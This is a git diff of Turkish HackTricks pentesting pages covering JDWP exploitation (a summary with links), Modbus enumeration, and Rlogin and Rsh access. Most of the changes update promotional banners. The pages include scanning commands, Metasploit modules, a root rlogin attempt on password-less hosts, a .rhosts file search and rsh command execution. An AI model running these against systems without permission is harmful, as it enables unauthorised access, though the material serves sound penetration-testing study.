|
||||
- KomutSeti değerleri 0x40 ile 0x80 arasında değişir ve farklı eylemleri ve olayları temsil eder.
|
||||
- Mesajlar, Uzunluk, Kimlik, Bayrak ve Komut Seti gibi alanlarla basit bir yapıya sahiptir.
|
||||
- Komut Seti değerleri 0x40 ile 0x80 arasında değişir ve farklı eylem ve olayları temsil eder.
|
||||
|
||||
4. **Sömürü**:
|
||||
- JDWP, keyfi sınıfların ve baytların yüklenmesine ve çağrılmasına izin verir, bu da güvenlik riskleri oluşturur.
|
||||
- Makale, Java Runtime referanslarını almak, kesme noktalarını ayarlamak ve yöntemleri çağırmak gibi beş adımdan oluşan bir sömürü sürecini detaylandırıyor.
|
||||
- JDWP, keyfi sınıfları ve bytecode'u yüklemeye ve çağırmaya izin verir, bu da güvenlik riskleri oluşturur.
|
||||
- Makale, Java Runtime referanslarını alma, kesme noktaları ayarlama ve yöntemleri çağırma gibi beş adımda bir sömürü sürecini detaylandırmaktadır.
|
||||
|
||||
5. **Gerçek Hayat Sömürüsü**:
|
||||
- Potansiyel güvenlik duvarı korumalarına rağmen, JDWP hizmetleri ShodanHQ ve GitHub gibi platformlarda arama yapılarak gerçek dünya senaryolarında keşfedilebilir ve sömürülebilir.
|
||||
- Sömürü betiği çeşitli JDK sürümleri üzerinde test edildi ve platform bağımsızdır, güvenilir Uzaktan Kod Yürütme (RCE) sunar.
|
||||
5. **Gerçek Hayatta Sömürü**:
|
||||
- Potansiyel güvenlik duvarı korumalarına rağmen, JDWP hizmetleri keşfedilebilir ve gerçek dünya senaryolarında sömürülebilir, bu da ShodanHQ ve GitHub gibi platformlarda yapılan aramalarla gösterilmektedir.
|
||||
- Sömürü betiği çeşitli JDK sürümlerine karşı test edilmiştir ve platformdan bağımsızdır, güvenilir Uzaktan Kod Çalıştırma (RCE) sunar.
|
||||
|
||||
6. **Güvenlik Sonuçları**:
|
||||
- İnternette açık JDWP hizmetlerinin varlığı, düzenli güvenlik incelemeleri yapma, üretimde hata ayıklama işlevlerini devre dışı bırakma ve uygun güvenlik duvarı yapılandırmaları yapma ihtiyacını vurgular.
|
||||
6. **Güvenlik Etkileri**:
|
||||
- İnternette açık JDWP hizmetlerinin varlığı, düzenli güvenlik incelemeleri yapma, üretimde hata ayıklama işlevlerini devre dışı bırakma ve uygun güvenlik duvarı yapılandırmalarının gerekliliğini vurgular.
|
||||
|
||||
|
||||
### **Referanslar:**
|
||||
### **Kaynaklar:**
|
||||
|
||||
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||||
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||||
|
@ -71,16 +70,17 @@ En yaygın kullanılan araç [jdwp-shellifier](https://github.com/hugsy/jdwp-she
|
|||
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **hacking hilelerinizi paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,84 +1,45 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Temel Bilgiler
|
||||
|
||||
1979 yılında, Modicon tarafından geliştirilen **Modbus Protokolü**, bir mesajlaşma yapısı olarak hizmet vermektedir. Temel kullanımı, akıllı cihazlar arasında iletişimi kolaylaştırmak ve bir ana-bilgisayar/istemci-sunucu modeli altında çalışmaktır. Bu protokol, cihazların veri alışverişini verimli bir şekilde gerçekleştirmelerinde önemli bir rol oynamaktadır.
|
||||
1979'da, **Modbus Protokolü** Modicon tarafından geliştirilmiştir ve bir mesajlaşma yapısı olarak hizmet vermektedir. Temel kullanımı, akıllı cihazlar arasında iletişimi kolaylaştırmaktır ve bu, bir master-slave/client-server modeli altında çalışır. Bu protokol, cihazların verileri verimli bir şekilde değiştirmesine olanak tanıyan önemli bir rol oynamaktadır.
|
||||
|
||||
**Varsayılan port:** 502
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
502/tcp open modbus
|
||||
```
|
||||
# Tespit
|
||||
|
||||
## Modbus Enumeration
|
||||
|
||||
Modbus, endüstriyel otomasyon sistemlerinde kullanılan bir iletişim protokolüdür. Modbus protokolü, TCP/IP üzerinden veya seri bağlantı üzerinden çalışabilir. Modbus protokolünü hedefleyen bir saldırı gerçekleştirmek için öncelikle hedef sistemdeki Modbus cihazlarını tespit etmek gerekmektedir.
|
||||
|
||||
### Modbus Tespit Aracı: `modscan`
|
||||
|
||||
`modscan`, Modbus cihazlarını tespit etmek ve Modbus sunucularına bağlanmak için kullanılan bir araçtır. Bu araç, Modbus TCP/IP ve Modbus RTU (seri bağlantı) protokollerini destekler.
|
||||
|
||||
`modscan` aracını kullanarak Modbus cihazlarını tespit etmek için aşağıdaki komutu kullanabilirsiniz:
|
||||
|
||||
```plaintext
|
||||
modscan <hedef_IP_adresi>
|
||||
```
|
||||
|
||||
Bu komut, belirtilen IP adresine sahip hedef sistemdeki Modbus cihazlarını taramak için kullanılır.
|
||||
|
||||
### Modbus Tespit Aracı: `nmap`
|
||||
|
||||
`nmap`, ağ tarama ve keşif için yaygın olarak kullanılan bir araçtır. Modbus cihazlarını tespit etmek için `nmap` aracını kullanabilirsiniz.
|
||||
|
||||
Aşağıdaki komutu kullanarak `nmap` aracını kullanabilirsiniz:
|
||||
|
||||
```plaintext
|
||||
nmap -p 502 --script modbus-discover <hedef_IP_adresi>
|
||||
```
|
||||
|
||||
Bu komut, belirtilen IP adresine sahip hedef sistemdeki Modbus cihazlarını taramak için kullanılır.
|
||||
|
||||
### Modbus Tespit Aracı: `Metasploit`
|
||||
|
||||
`Metasploit`, birçok güvenlik testi ve saldırı senaryosu için kullanılan bir çerçevedir. Modbus cihazlarını tespit etmek için `Metasploit` kullanabilirsiniz.
|
||||
|
||||
`Metasploit` aracını kullanarak Modbus cihazlarını tespit etmek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. `msfconsole` komutunu kullanarak `Metasploit` konsolunu başlatın.
|
||||
2. `use auxiliary/scanner/modbus/modbus_discover` komutunu kullanarak Modbus tarama modülünü seçin.
|
||||
3. `set RHOSTS <hedef_IP_adresi>` komutunu kullanarak hedef IP adresini ayarlayın.
|
||||
4. `run` komutunu kullanarak taramayı başlatın.
|
||||
|
||||
Bu adımları takip ederek `Metasploit` aracını kullanarak Modbus cihazlarını tespit edebilirsiniz.
|
||||
# Sayım
|
||||
```bash
|
||||
nmap --script modbus-discover -p 502 <IP>
|
||||
msf> use auxiliary/scanner/scada/modbusdetect
|
||||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 513 - Rlogin Pentesting
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **HackTricks ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -21,7 +22,7 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
## Temel Bilgiler
|
||||
|
||||
Geçmişte, **rlogin** uzaktan yönetim görevleri için geniş ölçüde kullanılmıştır. Ancak güvenlik endişeleri nedeniyle, genellikle **slogin** ve **ssh** ile değiştirilmiştir. Bu daha yeni yöntemler uzaktan bağlantılar için gelişmiş güvenlik sağlar.
|
||||
Geçmişte, **rlogin** uzaktan yönetim görevleri için yaygın olarak kullanılıyordu. Ancak, güvenlik endişeleri nedeniyle, büyük ölçüde **slogin** ve **ssh** ile değiştirilmiştir. Bu yeni yöntemler, uzaktan bağlantılar için geliştirilmiş güvenlik sağlar.
|
||||
|
||||
**Varsayılan port:** 513
|
||||
```
|
||||
|
@ -33,13 +34,13 @@ PORT STATE SERVICE
|
|||
# Install client
|
||||
apt-get install rsh-client
|
||||
```
|
||||
Aşağıdaki komutu kullanarak, erişim için şifre gerekmeyen uzak bir ana bilgisayara **root** kullanıcı adını deneyebilirsiniz:
|
||||
Aşağıdaki komutu, erişim için **şifre** gerekmeyen bir uzak ana bilgisayara **giriş** yapmayı denemek için kullanabilirsiniz. Kullanıcı adı olarak **root** kullanmayı deneyin:
|
||||
```bash
|
||||
rlogin <IP> -l <username>
|
||||
```
|
||||
### [Kaba kuvvet](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
||||
|
||||
## Dosyaları Bulma
|
||||
## Dosyaları Bulun
|
||||
```
|
||||
find / -name .rhosts
|
||||
```
|
||||
|
@ -48,16 +49,17 @@ find / -name .rhosts
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
|
||||
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 514 - Rsh Pentesting
|
||||
# 514 - Pentesting Rsh
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi **HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Kimlik doğrulama için **.rhosts** dosyaları ve **/etc/hosts.equiv** kullanılmıştır. Kimlik doğrulama, IP adreslerine ve Alan Adı Sistemi'ne (DNS) dayanmaktadır. Özellikle yerel ağda IP adreslerinin sahtelenmesi kolay olduğundan önemli bir güvenlik açığıdır.
|
||||
Kimlik doğrulama için, **.rhosts** dosyaları ile birlikte **/etc/hosts.equiv** kullanıldı. Kimlik doğrulama, IP adreslerine ve Alan Adı Sistemi'ne (DNS) dayanıyordu. IP adreslerinin, özellikle yerel ağda, sahte olarak gösterilmesinin kolaylığı önemli bir zayıflıktı.
|
||||
|
||||
Ayrıca, **.rhosts** dosyalarının genellikle kullanıcıların ev dizinlerine yerleştirildiği ve bu dizinlerin genellikle Ağ Dosya Sistemi (NFS) birimlerinde bulunduğu yaygındır.
|
||||
Ayrıca, **.rhosts** dosyalarının genellikle kullanıcıların ana dizinlerinde, sıklıkla Ağ Dosya Sistemi (NFS) hacimlerinde yer alması yaygındı.
|
||||
|
||||
**Varsayılan port**: 514
|
||||
|
||||
|
@ -34,16 +35,17 @@ rsh domain\\user@<IP> <Command>
|
|||
## Referanslar
|
||||
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue